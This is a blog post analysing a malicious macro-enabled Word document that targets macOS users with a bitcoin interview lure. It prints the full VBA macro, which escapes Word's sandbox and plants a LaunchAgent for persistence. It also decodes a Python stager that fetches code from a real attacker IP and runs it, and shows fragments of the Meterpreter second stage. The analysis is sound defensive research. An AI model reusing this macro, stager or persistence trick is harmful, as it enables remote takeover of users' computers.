Digita Security

Cybersecurity solutions for the

  • modern
  • mobile
  • independent
  • innovative
  • enterprising

macOS workforce

December 5, 2018

Word to Your Mac

analyzing a malicious word document targeting macOS users
by Patrick Wardle

📝 👾 Want to play along?

I’ve shared the malicious document (password: infect3d) …don’t infect yourself!

In this blog post, we’ll detail how analyze a Word document that we suspect contains malicious logic.

Specifically we’ll detail:

  • How to extract & analyze the malicious macros embedded in the document.
  • How to decode & analyze the embedded 1st-stage payload (downloader).
  • Retrieve & identify the 2nd-stage downloader.

Background

Earlier this week I was tagged in a tweet from John Lambert (a “Distinguished Engineer” at Microsoft’s Threat Intelligence Center):

According to said tweet, John had discovered a Word document (BitcoinMagazine-Quidax_InterviewQuestions_2018.docm) that was maliciously targeting Mac users:

“This #bitcoin interview lure macro doc does not infect any version of Office for Windows. Why? It is targeting MacOffice.”

…I was intrigued 😀

Analysis

Let’s grab the sample from VirusTotal …noting that even now, only 5 engines detect the file as malicious:

current detections

Once we confirm (via the file command), that yes this indeed a Word document, our analysis can commence:

$ file BitcoinMagazine-Quidax_InterviewQuestions_2018.docm 
file /Users/patrick/Downloads/BitcoinMagazine-Quidax_InterviewQuestions_2018.docm 

Word documents created by recent versions of Microsoft Office, are actually compressed archives (containing XML files) - meaning that we can “unzip” the document to view its contents.

$ unzip BitcoinMagazine-Quidax_InterviewQuestions_2018.docm 
Archive:  BitcoinMagazine-Quidax_InterviewQuestions_2018.docm
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: word/_rels/document.xml.rels  
  inflating: word/document.xml       
  inflating: word/vbaProject.bin     
  inflating: word/theme/theme1.xml   
  inflating: word/settings.xml       
  inflating: word/styles.xml         
  inflating: docProps/core.xml       
  inflating: docProps/app.xml        
  inflating: word/numbering.xml      
  inflating: word/webSettings.xml    
  inflating: word/fontTable.xml 

The presence of the vbaProject.bin file indicates that yes, the Word document in question contains macros (as John noted in his tweet).

In a previous blog “New Attack, Old Tricks”, we noted that “VBA macros [in a Word Document] are usually stored in a binary OLE file within the compressed archive, called vbaProject.bin”

As the vbaProject.bin a binary OLE file, we need some way to extract the embedded macros. Previously the Mac malware analyst extraordinaire, @noar, showed me that one can utilize clamAV’s sigtool to extract embedded macros. Sweet!

If you have homebrew installed, you can install clamAV via the following:

brew install clamav

…this will install sigtool in /usr/local/bin/

Executing sigtool with the --vba flag, extracts the embedded macros from the word/vbaProject.bin file:

$ sigtool --vba word/vbaProject.bin 
-------------- start of code ------------------
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

-------------- end of code ------------------


-------------- start of code ------------------
Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function system Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) As LongPtr
Private Sub Document_Open()
Dim path As String
Dim payload As String
payload = "import base64,sys;exec(base64.b64decode({2:str,3:lambda ... }[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ" & _
"1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29" & _
"ubmVjdCgoJzEwOS4yMDIuMTA3LjIwJyw5NjIyKSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWN" & _
"rKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')));"
path = Environ("HOME") & "/../../../../Library/LaunchAgents/~$com.xpnsec.plist"
arg = "<?xml version=""1.0"" encoding=""UTF-8""?>\n" & _
"<!DOCTYPE plist PUBLIC ""-//Apple//DTD PLIST 1.0//EN"" ""http://www.apple.com/DTDs/PropertyList-1.0.dtd"">\n" & _
"<plist version=""1.0"">\n" & _
"<dict>\n" & _
"<key>Label</key>\n" & _
"<string>com.xpnsec.sandbox</string>\n" & _
"<key>ProgramArguments</key>\n" & _
"<array>\n" & _
"<string>python</string>\n" & _
"<string>-c</string>\n" & _
"<string>" & payload & "</string>" & _
"</array>\n" & _
"<key>RunAtLoad</key>\n" & _
"<true/>\n" & _
"</dict>\n" & _
"</plist>"
Result = system("echo """ & arg & """ > '" & path & "'", "r")
'Result = system("launchctl bootout gui/$UID", "r")
End Sub
-------------- end of code ------------------

First, note the Private Sub Document_Open() snippet. According to Microsoft, the Document.Open event “occurs when a document is opened”. To illustrate this, Microsoft provides a snippet of code that will “displays a message when a document is opened.”:

Private Sub Document_Open() 
 MsgBox "This document is copyrighted." 
End Sub

Ok, so the Visual Basic macro code within the in the Document_Open() subroutine will be executed when the malicious Word document, BitcoinMagazine-Quidax_InterviewQuestions_2018.docm, is opened (assuming the user has enabled or allowed macros).

So what does the code in the Document_Open() subroutine do?

  1. Decodes a chunk (of what appears to be python) code into a variable named payload.
  2. Builds a path to a launch agent plist…in a rather interesting manner.
  3. Builds a launch agent plist (com.xpnsec.plist) saving this into a variable named arg.
  4. Saves said launch agent to disk, via the system command.
  5. Forces a logout via launchctl bootout gui/$UID.

If you’re an avid reader of Objective-See’s blog posts, this rather convoluted logic might seem rather familiar. Why? Well in a guest blog post, “Escaping the Microsoft Office Sandbox”, Adam Chester wrote about an elegant way for malicious Word documents to escape the restrictions of Word’s sandbox, via a faulty regex. Rather prophetically he stated, “Of course you are free to offload the sandbox escape into your VBA [macros]” …which is exactly what the attackers did! 🤣 In order words, they blatantly copied the PoC sandbox escape code!

Due to Word’s sandbox, macro code within a malicious document is not supposed to be able to perform actions such as persisting!

However, due to Adam’s elegant sandbox bypass, such restrictions are moot (though Word may now be patched).

Of course, our attackers likely customized the payload (stored in the payload variable). Since it’s (base64) encoded, lets pop into a Python shell and decode it:

$ python
>>> import base64
>>> payload = "aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5n...30pCg=="
>>> base64.b64decode(payload)

"import socket,struct,time\nfor x in range(10):\n\ttry:\n\t\ts=socket.socket(2,socket.SOCK_STREAM)\n\t\ts.connect(('109.202.107.20',9622))\n\t\tbreak\n\texcept:\n\t\ttime.sleep(5)\nl=struct.unpack('>I',s.recv(4))[0]\nd=s.recv(l)\nwhile len(d)<l:\n\td+=s.recv(l-len(d))\nexec(d,{'s':s})\n"

…as expected python! Lets clean it up a bit:

import socket, struct, time

for x in range(10):
  try:
    s=socket.socket(2,socket.SOCK_STREAM)
    s.connect(('109.202.107.20',9622))
    break
  except:
    time.sleep(5)

l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)

while len(d)<l:
  d+=s.recv(l-len(d))

exec(d,{'s':s})

Others such as David Ledbetter and @noar also extracted and/or posted this payload.

The decoded python payload should be fairly self-explanatory, but let’s quickly summarize what it does (again recalling it will be execute when the malicious Word document is opened)

  1. Tries to connect a server at 109.202.107.20 on port 9622 …10 times
  2. Receives 4 bytes from the server (this is variable length of the rest of the payload)
  3. Receives the payload from the server
  4. Executes the payload

Wondering what this 2nd-stage payload is? Me too! Let’s run the 1st-stage payload (the aforementioned python) and see what it gives us.

I slightly modified the downloader code to print out the 2nd-stage payload instead of executing it:

#don't exec
#exec(d,{'s':s})

#print out
print d
$ python download.py 

#!/usr/bin/python
import binascii
import code
import os
import platform

...

try:
    import ctypes
except ImportError:
    has_windll = False
else:
    has_windll = hasattr(ctypes, 'windll')

...

#@export
class MeterpreterChannel(object):
    def core_close(self, request, response):
        self.close()
        return ERROR_SUCCESS, response

...

#@export
class MeterpreterFile(MeterpreterChannel):
    def __init__(self, file_obj):
        self.file_obj = file_obj
        super(MeterpreterFile, self).__init__()

...

#@export
class MeterpreterProcess(MeterpreterChannel):
    def __init__(self, proc_h):

...

First, turns out the server at 109.202.107.20 is still up…and is happy to serve up the 2nd-stage payload!

As noted by MalwareByte’s Adam Thomas, this IP address is known to serve up malicious content.

For more details on this IP address, head over to its VirusTotal page.

Skimming over the downloaded (python) code (that comprises the 2nd-stage payload), it’s pretty easy to see that the attackers are using Metasploit’s “Meterpreter” payload. This affords them a feature-rich in-memory payload allowing them perform a wide-range of malicious activities (think arbitrary commands, file exfil, etc.).

You can read more about Meterpreter here.

Conclusion

Today, we analyzed a malicious Word document (mahalo again to John Lambert for uncovering and tweeting about this sample).

After extracting the embedded macros, we decoded the 1st-stage payload and used that to retrieve the attacker’s 2nd-stage payload…which turned out to be Meterpreter.

🎥 If you’re interested in seeing this analysis in action, check out the following clip from my most-recent live-streaming session: